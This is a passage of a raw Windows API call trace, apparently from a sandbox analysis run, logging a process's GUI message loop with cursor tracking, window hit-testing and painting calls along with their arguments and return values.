() returned 1 [0282.283] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.283] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.283] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.283] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.283] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.283] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.283] WindowFromPoint (Point=0x372) returned 0x1035a [0282.283] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0282.284] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.284] GetCurrentProcessId () returned 0x8d0 [0282.284] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.284] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.284] GetCapture () returned 0x0 [0282.284] WaitMessage () returned 1 [0282.346] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.346] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.346] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.346] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.346] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.346] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.347] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.347] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.347] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.347] WindowFromPoint (Point=0x374) returned 0x1035a [0282.347] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0374) returned 0x1 [0282.347] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.347] GetCurrentProcessId () returned 0x8d0 [0282.347] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.347] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.347] GetCapture () returned 0x0 [0282.347] WaitMessage () returned 1 [0282.425] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20e035d) returned 0x1 [0282.425] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=861, y=526)) returned 1 [0282.425] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.426] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.426] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.426] GetCapture () returned 0x0 [0282.426] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.426] WindowFromPoint (Point=0x35d) returned 0x1035a [0282.426] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20e035d) returned 0x1 [0282.426] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.426] GetCurrentProcessId () returned 0x8d0 [0282.426] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.426] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.426] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xc1015e) returned 0x0 [0282.426] GetKeyState (nVirtKey=18) returned 1 [0282.426] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.426] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.426] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0282.426] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.426] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.426] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.426] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.427] IsIconic (hWnd=0xc0060) returned 0 [0282.427] IsIconic (hWnd=0xc0060) returned 0 [0282.427] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0282.427] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0282.427] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0282.427] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0282.427] GetSysColor (nIndex=8) returned 0x0 [0282.427] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0282.427] GetSysColor (nIndex=15) returned 0xf0f0f0 [0282.427] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0282.427] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.427] GetCurrentProcessId () returned 0x8d0 [0282.427] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.427] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.428] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0282.428] GetCurrentProcessId () returned 0x8d0 [0282.428] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0282.428] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0282.428] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0282.428] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0282.428] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0282.429] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.429] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=861, y=526)) returned 1 [0282.429] WindowFromPoint (Point=0x35d) returned 0x1035a [0282.429] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20e035d) returned 0x1 [0282.429] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.429] GetCurrentProcessId () returned 0x8d0 [0282.429] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.429] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.429] GetCapture () returned 0x0 [0282.429] WaitMessage () returned 1 [0282.464] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2180353) returned 0x1 [0282.464] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=851, y=536)) returned 1 [0282.464] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.464] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.464] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.464] GetCapture () returned 0x0 [0282.464] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.464] WindowFromPoint (Point=0x353) returned 0x1035a [0282.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2180353) returned 0x1 [0282.465] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.465] GetCurrentProcessId () returned 0x8d0 [0282.465] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.465] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xcb0154) returned 0x0 [0282.465] GetKeyState (nVirtKey=18) returned 1 [0282.465] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.465] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=851, y=536)) returned 1 [0282.465] WindowFromPoint (Point=0x350) returned 0x1035a [0282.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x21a0350) returned 0x1 [0282.465] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.465] GetCurrentProcessId () returned 0x8d0 [0282.465] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.465] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.465] GetCapture () returned 0x0 [0282.465] WaitMessage () returned 1 [0282.486] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.486] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.486] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.486] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.486] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.486] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=851, y=536)) returned 1 [0282.486] WindowFromPoint (Point=0x353) returned 0x1035a [0282.486] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2180353) returned 0x1 [0282.486] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.486] GetCurrentProcessId () returned 0x8d0 [0282.486] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.486] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.486] GetCapture () returned 0x0 [0282.486] WaitMessage () returned 1 [0282.503] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2220349) returned 0x1 [0282.503] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=841, y=546)) returned 1 [0282.503] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.504] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.504] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.504] GetCapture () returned 0x0 [0282.504] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.504] WindowFromPoint (Point=0x349) returned 0x1035a [0282.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2220349) returned 0x1 [0282.504] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.504] GetCurrentProcessId () returned 0x8d0 [0282.504] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.504] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xd5014a) returned 0x0 [0282.504] GetKeyState (nVirtKey=18) returned 1 [0282.504] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.504] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=841, y=546)) returned 1 [0282.504] WindowFromPoint (Point=0x349) returned 0x1035a [0282.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2220349) returned 0x1 [0282.504] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.504] GetCurrentProcessId () returned 0x8d0 [0282.504] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.505] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.505] GetCapture () returned 0x0 [0282.505] WaitMessage () returned 1 [0282.548] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.548] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.548] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.548] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.558] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.558] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22c0342) returned 0x1 [0282.558] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=834, y=556)) returned 1 [0282.559] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.559] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.559] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.559] GetCapture () returned 0x0 [0282.559] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.559] WindowFromPoint (Point=0x342) returned 0x1035a [0282.559] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22c0342) returned 0x1 [0282.559] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.559] GetCurrentProcessId () returned 0x8d0 [0282.560] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.560] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.560] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xdf0143) returned 0x0 [0282.560] GetKeyState (nVirtKey=18) returned 1 [0282.560] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.560] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=556)) returned 1 [0282.560] WindowFromPoint (Point=0x340) returned 0x1035a [0282.560] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22e0340) returned 0x1 [0282.560] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.560] GetCurrentProcessId () returned 0x8d0 [0282.560] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.560] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.560] GetCapture () returned 0x0 [0282.560] WaitMessage () returned 1 [0282.610] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.611] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.611] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.611] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.611] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.611] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=556)) returned 1 [0282.611] WindowFromPoint (Point=0x342) returned 0x1035a [0282.611] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22c0342) returned 0x1 [0282.613] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.613] GetCurrentProcessId () returned 0x8d0 [0282.613] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.613] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.613] GetCapture () returned 0x0 [0282.613] WaitMessage () returned 1 [0282.613] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2360342) returned 0x1 [0282.613] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=834, y=566)) returned 1 [0282.613] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0282.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.613] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.614] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0282.614] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.614] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.614] GetCapture () returned 0x0 [0282.614] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0282.614] WindowFromPoint (Point=0x342) returned 0x1035a [0282.614] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2360342) returned 0x1 [0282.614] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0282.614] GetCurrentProcessId () returned 0x8d0 [0282.614] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.614] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0282.614] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xe90143) returned 0x0 [0282.614] GetKeyState (nVirtKey=18) returned 1 [0282.614] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.614] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=566)) returned 1 [0282.614] WindowFromPoint (Point=0x342) returned 0x1035a [0282.614] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2360342) returned 0x1 [0282.614] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.614] GetCurrentProcessId () returned 0x8d0 [0282.614] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.614] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.614] GetCapture () returned 0x0 [0282.615] WaitMessage () returned 1 [0282.674] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.674] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.674] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.674] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.674] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.674] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=834, y=566)) returned 1 [0282.674] WindowFromPoint (Point=0x344) returned 0x1035a [0282.674] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2330344) returned 0x1 [0282.674] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.674] GetCurrentProcessId () returned 0x8d0 [0282.674] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.674] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.674] GetCapture () returned 0x0 [0282.674] WaitMessage () returned 1 [0282.705] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.705] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2400342) returned 0x1 [0282.705] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=834, y=576)) returned 1 [0282.705] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0282.705] PtInRect (lprc=0x18fc68, pt=0x16b) returned 0 [0282.705] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, 